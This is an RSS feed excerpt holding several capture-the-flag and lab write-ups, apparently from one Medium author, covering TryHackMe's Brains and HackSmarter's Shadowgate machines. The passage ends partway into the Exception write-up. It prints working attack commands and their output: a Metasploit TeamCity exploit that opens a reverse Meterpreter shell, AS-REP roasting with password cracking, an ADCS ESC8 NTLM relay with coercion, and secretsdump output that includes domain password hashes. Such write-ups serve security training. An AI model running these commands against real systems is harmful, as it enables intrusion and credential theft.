groups=0(root)</pre><p>Getting root flag</p><pre>root@0fa9dfa48174:/var/log# cd /root/<br>root@0fa9dfa48174:~# ls<br>root.txt<br>root@0fa9dfa48174:~# cat root.txt <br>HSM{SNIP}<br>root@0fa9dfa48174:~#</pre><p>And we’re done.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ba86cfb40e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brains | THM]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/brains-thm-bbf1d9d965b6?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbf1d9d965b6</guid>
            <category><![CDATA[attack-and-defence]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Thu, 21 May 2026 11:12:08 GMT</pubDate>
            <atom:updated>2026-05-21T11:12:08.349Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the Brains challenge, part of TryHackMe’s Hackathon!</p><p>All brains gathered to build an engineering marvel; however, it seems strangers had found away to get in.</p><h3>Red: Exploit the server</h3><h3>Question 1</h3><p>What is the content of flag.txt in the user’s home folder?</p><h3>Scanning</h3><h4>Rustscan</h4><pre>└─$ rustscan -a brain.thm -- -A <br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog         :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>😵 https://admin.tryhackme.com<br><br>[~] The config file is expected to be at &quot;/home/exploitforge/.rustscan.toml&quot;<br>[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers<br>[!] Your file limit is very small, which negatively impacts RustScan&#39;s speed. Use the Docker image, or up the Ulimit with &#39;--ulimit 5000&#39;. <br>Open 10.65.156.43:22<br>Open 10.65.156.43:80<br>Open 10.65.156.43:37805<br>Open 10.65.156.43:50000<br>&lt;SNIP&gt;<br><br>PORT      STATE SERVICE  REASON         VERSION<br>22/tcp    open  ssh      syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 30:38:0a:33:e2:62:c2:b6:7a:ab:99:1e:db:2f:b3:d2 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDn3zkK46eOh86ZxpLjIVY531IjaIPXGMseltZpRrXNu8IclvYigA7IONUDbMA9OhgjbxZZgVAXaU4tcrTPI5js6oLxIyWuK6xFypWvmHCWmjfb8wmqUzL2eUBjEj9Ek9kIs8P7wiqwQcYLQtVXwi8YZGsTi7lqGqE/8bTVXZD1dtIHVd0imCejMoSuC+0zBADF/gxGYKYg1VhXTTNBLyO/YBCVnu6LtId/e214eP54SNXJ2YSc9Bjjdymc1Ir5E9461l1bQgkNZAUPF4ZWt/3FPvGi3Mot0zXK3kKDtRm76oZ/kh1FS3ECPKzjCSyJVfL0vQDMiN5ZxTFMoe6hsMm/StjnLgeK5kwOmwSUIvriimxMWnFxAbMwv+es9++zQhJ3i+tR64Nbc2rEAm6ntmKZLVXol0k6LeM3C3M3Wwfltk3kJL7M8hfc/NPEhAIdzF3vO4MLosmYmevKKwdjqzzYvci9yc0FSZvj5b92HH5XE+c93mrRLgkOAS28yXG4cK8=<br>|   256 8b:30:d6:1d:8f:0f:4b:d4:99:fa:39:c6:44:91:73:65 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAWnXrY0Qxjq+pD5qVu3LeFeVaXEfYUlEMkeSa6vF2yR5AmFt9gFkvfnXuC5hMl1sclZSqS99kI8wS068uD1eHE=<br>|   256 76:ac:95:af:44:37:1d:be:2c:0e:c2:c4:4a:50:77:9b (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEgp2ZBTHxYPPzl24Ky4rW/O/NMjFzead98on1+W0qi7<br>80/tcp    open  http     syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Maintenance<br>| http-methods: <br>|_  Supported Methods: GET POST OPTIONS HEAD<br>37805/tcp open  java-rmi syn-ack ttl 62 Java RMI<br>50000/tcp open  http     syn-ack ttl 62 Apache Tomcat (language: en)<br>|_http-favicon: Unknown favicon MD5: CEE18E28257988B40028043E65A6C2A3<br>| http-title: Log in to TeamCity &amp;mdash; TeamCity<br>|_Requested resource was /login.html<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>&lt;SNIP&gt;</pre><h4>Nmap</h4><pre>└─$ sudo nmap brain.thm -sV -A                                      <br>22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 30:38:0a:33:e2:62:c2:b6:7a:ab:99:1e:db:2f:b3:d2 (RSA)<br>|   256 8b:30:d6:1d:8f:0f:4b:d4:99:fa:39:c6:44:91:73:65 (ECDSA)<br>|_  256 76:ac:95:af:44:37:1d:be:2c:0e:c2:c4:4a:50:77:9b (ED25519)<br>80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Maintenance<br>50000/tcp open  http    Apache Tomcat (language: en)<br>| http-title: Log in to TeamCity &amp;mdash; TeamCity<br>|_Requested resource was /login.html<br>                                                                 </pre><h3>Enumerating ports</h3><ul><li>Port 22(ssh)</li></ul><pre>└─$ ssh root@brain.thm        <br>The authenticity of host &#39;brain.thm (10.65.156.43)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:G+I7aZ3h3uNzM3wa3izhlejir1d6GsOa8VZt0uo0Q20<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;brain.thm&#39; (ED25519) to the list of known hosts.<br>** WARNING: connection is not using a post-quantum key exchange algorithm.<br>** This session may be vulnerable to &quot;store now, decrypt later&quot; attacks.<br>** The server may need to be upgraded. See https://openssh.com/pq.html<br>root@brain.thm: Permission denied (publickey).</pre><ul><li>We need key to be able to access the port.</li><li>Port 80</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPXT-nrvbnNbcBgeaiLXrQ.png" /></figure><p>Nothing interesting.</p><ul><li>port 50000</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*XKxBaikE2ovj0HnJ2yYzMQ.png" /></figure><ul><li>We will look for the software exploits it looks outdated.</li></ul><pre>└─$ msfconsole  -q                 <br>msf &gt; use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198<br><br>msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) &gt; set rhosts brain.thm<br>rhosts =&gt; brain.thm<br>msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) &gt; set lhost tun0<br>lhost =&gt; 192.168.143.154<br>msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) &gt; run<br>[*] Started reverse TCP handler on 192.168.143.154:4444 <br>[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)<br>[-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Connection failed &quot;set ForceExploit true&quot; to override check result.<br>[*] Exploit completed, but no session was created.<br>msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) &gt; set rport 50000<br>rport =&gt; 50000<br>msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) &gt; run<br>[*] Started reverse TCP handler on 192.168.143.154:4444 <br>[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)<br>[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.<br>[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.MW9iU3dlcjdwbnIzRTVHT2dWQm5peUs2RjBj.YWE0ODgyZmUtOWVlYi00NGRjLTkxNWUtYTM4YTIwOTIyYjIx<br>[*] Uploading plugin: cURz76zC<br>[*] Sending stage (58073 bytes) to 10.65.156.43<br>[*] Deleting the plugin...<br>[+] Deleted /opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_cURz76zC<br>[+] Deleted /home/ubuntu/.BuildServer/system/caches/plugins.unpacked/cURz76zC<br>[*] Meterpreter session 1 opened (192.168.143.154:4444 -&gt; 10.65.156.43:40080) at 2026-01-22 04:14:50 +0100<br>id<br>[*] Deleting the authentication token...<br>[!] This exploit may require manual cleanup of &#39;/opt/teamcity/TeamCity/webapps/ROOT/plugins/cURz76zC&#39; on the target<br>mand: python3. Run the help command for more details.<br>meterpreter &gt; shell<br>Process 3 created.<br>Channel 3 created.<br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>ubuntu@ip-10-65-156-43:/opt/teamcity/TeamCity/bin$ cd <br>cd <br>ubuntu@ip-10-65-156-43:~$ ls<br>ls<br>config.log  flag.txt<br>ubuntu@ip-10-65-156-43:~$ cat flag.txt  <br>cat flag.txt<br>THM{faa9bac345709b6620a6200b484c7594}<br>ubuntu@ip-10-65-156-43:~$ </pre><h3>Blue: Let’s Investigate</h3><p>The IT department has provided us one of the servers which was compromised as a result of the attack. Our task as a Forensics Analyst is to examine the host and identify the attacker’s footprints in the post-exploitation stage.</p><h3>Lab Connection</h3><p>Before moving forward, deploy the machine. When you deploy the machine, it will be assigned an IP address: 10.67.145.248. The Splunk instance will be accessible in about <strong>5 minutes</strong> and can be accessed at 10.67.145.248:8000 using the credentials mentioned below:</p><p><strong>Username: </strong><strong>splunk</strong></p><p><strong>Password: </strong><strong>analyst123</strong></p><h3>Question 1</h3><p>What is the name of the backdoor user which was created on the server after exploitation?</p><p>Answer: eviluser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMyn4fMflMTeuwm8XhJ2dw.png" /></figure><h3>Question 2</h3><p>What is the name of the malicious-looking package installed on the server?</p><p>Answer: datacollector</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXHrF9DQ5MvYVm9D8EHyXw.png" /></figure><h3>Question 3</h3><p>What is the name of the plugin installed on the server after successful exploitation?</p><p>Answer: AyzzbuXY.zip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CodUpd7i-C5gMKRYXz3vuA.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbf1d9d965b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shadowgate | HackSmarter]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/shadowgate-hacksmarter-19515641ead9?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/19515641ead9</guid>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Sun, 10 May 2026 17:20:43 GMT</pubDate>
            <atom:updated>2026-05-10T17:20:43.168Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>ShadowGate</strong> recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.</p><p>While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.</p><p>The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.</p><p>The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.</p><h4>We’re given some open ports</h4><pre>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-15 13:41:20Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>9389/tcp  open  mc-nmf        .NET Message Framing</pre><p>Let’s perform our own enumeration</p><h3>Rustscan</h3><pre>PORT      STATE SERVICE       REASON          VERSION<br>53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus<br>80/tcp    open  http          syn-ack ttl 126 Microsoft IIS httpd 10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-10 10:57:03Z)<br>135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-01-15T01:10:24<br>| Not valid after:  2027-01-15T01:10:24<br>| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6<br>| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390<br>| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90<br>&lt;SNIP&gt;<br>445/tcp   open  microsoft-ds? syn-ack ttl 126<br>464/tcp   open  kpasswd5?     syn-ack ttl 126<br>593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-01-15T01:10:24<br>| Not valid after:  2027-01-15T01:10:24<br>| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6<br>| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390<br>| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90<br>&lt;SNIP&gt;<br>3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-01-15T01:10:24<br>| Not valid after:  2027-01-15T01:10:24<br>| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6<br>| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390<br>| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90<br>&lt;SNIP&gt;<br>3269/tcp  open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-01-15T01:10:24<br>| Not valid after:  2027-01-15T01:10:24<br>| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6<br>| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390<br>| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90<br>&lt;SNIP&gt;<br>|_ssl-date: TLS randomness does not represent time<br>3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services<br>|_ssl-date: 2026-05-10T10:59:05+00:00; -1s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: SHADOW<br>|   NetBIOS_Domain_Name: SHADOW<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: shadow.gate<br>|   DNS_Computer_Name: DC01.shadow.gate<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2026-05-10T10:58:27+00:00<br>&lt;SNIP&gt;<br>5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found</pre><ul><li>We have domain name DC01.shadow.gate, so we’ll resolve IP to domain</li></ul><h3>Enumerating for Users.</h3><ul><li>We couldn’t get user names with nxc in anonymous mode</li></ul><pre> rpcclient -U &quot;&quot; -N shadow.gate <br>rpcclient $&gt; enumdomusers<br>user:[Administrator] rid:[0x1f4]<br>user:[Guest] rid:[0x1f5]<br>user:[krbtgt] rid:[0x1f6]<br>user:[ATHENA] rid:[0x44f]<br>user:[mbrownlee] rid:[0x450]<br>user:[bbrown] rid:[0x455]<br>user:[jtrueblood] rid:[0x456]<br>user:[jsmith] rid:[0x458]<br>user:[clocke] rid:[0x459]<br>user:[tclarke] rid:[0x45a]<br>user:[jbradford] rid:[0x45b]<br>user:[amoss] rid:[0x45c]</pre><ul><li>We got some names with rpcclient.</li></ul><h3>AS-REP Roasting</h3><p>Here with the list of users we’re trying to get if a user has per-authentication off so we can request a Authentication Service Response without requiring to have the user valid credentials.</p><pre>nxc ldap shadow.gate -u users.txt -p &#39;&#39; --asreproast outfile.txt<br>LDAP        10.1.118.194    389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never)<br>[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)<br>[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)<br>LDAP        10.1.118.194    389    DC01             $krb5asrep$23$jtrueblood@SHADOW.GATE:08a7fcf9b9aec3ceee54ffda4e74aa8b$d0e6588c51c7f5dbe9c8d92851a1364a9ecb1ef469842c02332539489f210e72a9acd99c763193a0d4261b959db3c995cb6d45a0f8e2e8ef263863ccc549c316771be5e0859e89b78754f6e7ffab7cec160157dd5b82abc436782fee64ca22b14e448f72b191b00b1044e7fa3789d64b4692cc53bcc78488e76331ac847240da3035a87c79a18ae07dfaacc9185eaeb865d2bd0ac25ee37b97587f85b83ee56d2bf3c01150230d97b859be3ec222f54293bfe3b900d8f67e9d4e447d6cb66fa7d2be4d0b33ff764a039d0fe7bbc0e7d3cfedc3bda7ca72ca618c1dda792a78e2eb725ea4c9d0ce686925</pre><ul><li>Next we crack the hash with either hashcat or john</li></ul><pre>john outfile.txt --wordlist=/usr/share/wordlists/rockyou.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])<br>Will run 6 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>b........rs   ($krb5asrep$23$jtrueblood@SHADOW.GATE)     <br>1g 0:00:00:06 DONE (2026-05-10 11:36) 0.1512g/s 1448Kp/s 1448Kc/s 1448KC/s bloodyrain..blood n crip<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><h4>Post Enumeration</h4><pre>nxc smb shadow.gate -u &#39;jtrueblood&#39; -p &#39;b....s&#39; --shares        <br>SMB         10.1.118.194    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.118.194    445    DC01             [+] shadow.gate\jtrueblood:blood_brothers <br>SMB         10.1.118.194    445    DC01             [*] Enumerated shares<br>SMB         10.1.118.194    445    DC01             Share           Permissions     Remark<br>SMB         10.1.118.194    445    DC01             -----           -----------     ------<br>SMB         10.1.118.194    445    DC01             ADMIN$                          Remote Admin<br>SMB         10.1.118.194    445    DC01             C$                              Default share<br>SMB         10.1.118.194    445    DC01             CertEnroll      READ            Active Directory Certificate Services share<br>SMB         10.1.118.194    445    DC01             IPC$            READ            Remote IPC<br>SMB         10.1.118.194    445    DC01             NETLOGON        READ            Logon server share <br>SMB         10.1.118.194    445    DC01             SYSVOL          READ            Logon server share </pre><ul><li>CertEnroll is an interesting file and will be interesting to investigate.</li><li>This cert means there might be and ADCS vuln to exploit</li></ul><h3>Enumerating for ADCS</h3><pre>certipy-ad find \             <br>    -u &#39;jtrueblood&#39; -p &#39;blood_brothers&#39; \<br>    -dc-ip &#39;10.1.118.194&#39; -text \<br>    -enabled -hide-admins -vulnerable </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*ev2-UJVt5hmBjmLowZvclQ.png" /></figure><h3>Exploiting ESC8</h3><p>We will lunch a ntmlrelay and then coerce with nxc it is vulnerable to potipotam.</p><h4>NTLM relay</h4><pre>sudo impacket-ntlmrelayx -t http://10.1.118.194/certsrv/certfnsh.asp -smb2support --adcs --template DomainController<br>[sudo] password for kali: <br>Sorry, try again.<br>[sudo] password for kali: <br>Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Protocol Client RPC loaded..<br>[*] Protocol Client IMAPS loaded..<br>[*] Protocol Client IMAP loaded..<br>[*] Protocol Client HTTPS loaded..<br>[*] Protocol Client HTTP loaded..<br>[*] Protocol Client DCSYNC loaded..<br>[*] Protocol Client LDAPS loaded..<br>[*] Protocol Client LDAP loaded..<br>[*] Protocol Client SMB loaded..<br>[*] Protocol Client SMTP loaded..<br>[*] Protocol Client MSSQL loaded..<br>[*] Protocol Client WINRMS loaded..<br>[*] Running in relay mode to single host<br>[*] Setting up SMB Server on port 445<br>[*] Setting up HTTP Server on port 80<br>[*] Setting up WCF Server on port 9389<br>[*] Setting up RAW Server on port 6666<br>[*] Setting up WinRM (HTTP) Server on port 5985<br>[*] Setting up WinRMS (HTTPS) Server on port 5986<br>[*] Setting up RPC Server on port 135<br>[*] Multirelay disabled<br><br>[*] Servers started, waiting for connections<br>[*] (SMB): Received connection from 10.1.118.194, attacking target http://10.1.118.194<br>[*] HTTP server returned error code 200, treating as a successful login<br>[*] (SMB): Authenticating connection from /@10.1.118.194 against http://10.1.118.194 SUCCEED [1]<br>[*] http:///@10.1.118.194 [1] -&gt; Generating CSR...<br>[*] http:///@10.1.118.194 [1] -&gt; CSR generated!<br>[*] http:///@10.1.118.194 [1] -&gt; Getting certificate...<br>[*] (SMB): Received connection from 10.1.118.194, attacking target http://10.1.118.194<br>[*] http:///@10.1.118.194 [1] -&gt; GOT CERTIFICATE! ID 3<br>[*] http:///@10.1.118.194 [1] -&gt; Writing PKCS#12 certificate to ./DC01.shadow.gate.pfx<br>[*] http:///@10.1.118.194 [1] -&gt; Certificate successfully written to file<br>[-] (SMB): Authenticating against http://10.1.118.194 as / FAILED<br>[*] All targets processed!<br>[*] (SMB): Connection from 10.1.118.194 controlled, but there are no more targets left!<br>[*] All targets processed!<br>[*] (SMB): Connection from 10.1.118.194 controlled, but there are no more targets left!<br>[*] All targets processed!<br>[*] (SMB): Connection from 10.1.118.194 controlled, but there are no more targets left!<br>[*] All targets processed!<br>[*] (SMB): Connection from 10.1.118.194 controlled, but there are no more targets left!<br>[*] All targets processed!<br>[*] (SMB): Connection from 10.1.118.194 controlled, but there are no more targets left!<br>^C      </pre><h4>Coerce</h4><pre> nxc smb 10.1.118.194 -u &#39;&#39; -p &#39;&#39; -M coerce_plus -o LISTENER=10.200.55.35<br>SMB         10.1.118.194    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.118.194    445    DC01             [+] shadow.gate\:</pre><h3>Getting DC01 NT hash</h3><pre>certipy-ad auth -pfx DC01.shadow.gate.pfx -dc-ip 10.1.118.194<br>Certipy v5.0.4 - by Oliver Lyak (ly4k)<br><br>[*] Certificate identities:<br>[*]     SAN DNS Host Name: &#39;DC01.shadow.gate&#39;<br>[*]     Security Extension SID: &#39;S-1-5-21-243493930-1113464705-3012771586-1000&#39;<br>[*] Using principal: &#39;dc01$@shadow.gate&#39;<br>[*] Trying to get TGT...<br>[*] Got TGT<br>[*] Saving credential cache to &#39;dc01.ccache&#39;<br>[*] Wrote credential cache to &#39;dc01.ccache&#39;<br>[*] Trying to retrieve NT hash for &#39;dc01$&#39;<br>[*] Got hash for &#39;dc01$@shadow.gate&#39;: aad3b4....404ee:57.....531</pre><ul><li>With the dc we can technically get all the other users hashes</li></ul><h3>Getting the krbtgt hash</h3><pre>impacket-secretsdump &#39;shadow.gate/dc01$@10.1.118.194&#39; -hashes &#39;aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531&#39;<br>Impacket v0.14.0.dev0+20260326.150834.76ee8774 - Copyright Fortra, LLC and its affiliated companies <br><br>[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied <br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b55.......9802:::</pre><ul><li>Done</li><li>Thanks for reading.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19515641ead9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exception | HackSmarter]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/exception-hacksmarter-dd9cab2f79e0?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd9cab2f79e0</guid>
            <category><![CDATA[linux-hacking]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Sun, 03 May 2026 04:33:49 GMT</pubDate>
            <atom:updated>2026-05-03T04:33:49.281Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario</h3><p>As part of an internal penetration test, you have discovered a server handling sensitive corporate communications. Compromising this high-value target is key to demonstrating tangible risk to the client. Conduct a full-scope penetration test against the target IP to identify, exploit, and report on any existing vulnerabilities.</p><h3>Enumeration</h3><h3>Nmap</h3><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 b9:7c:3a:db:22:76:47:d9:29:af:da:cd:0d:1b:22:d5 (ECDSA)<br>|_  256 45:65:36:61:8d:79:c3:dc:f7:a1:71:37:7d:f1:a1:cf (ED25519)<br>80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))<br>|_http-server-header: Apache/2.4.58 (Ubuntu)<br>|_http-title: Exception<br>| http-methods: <br>|_  Supported Methods: POST OPTIONS HEAD GET<br>3000/tcp open  ppp?<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.1 200 OK<br>|     X-XSS-Protection: 1<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: sameorigin<br>|     X-Instance-ID: ESeR2r5wkkgXWoD23<br>|     Content-Type: text/html; 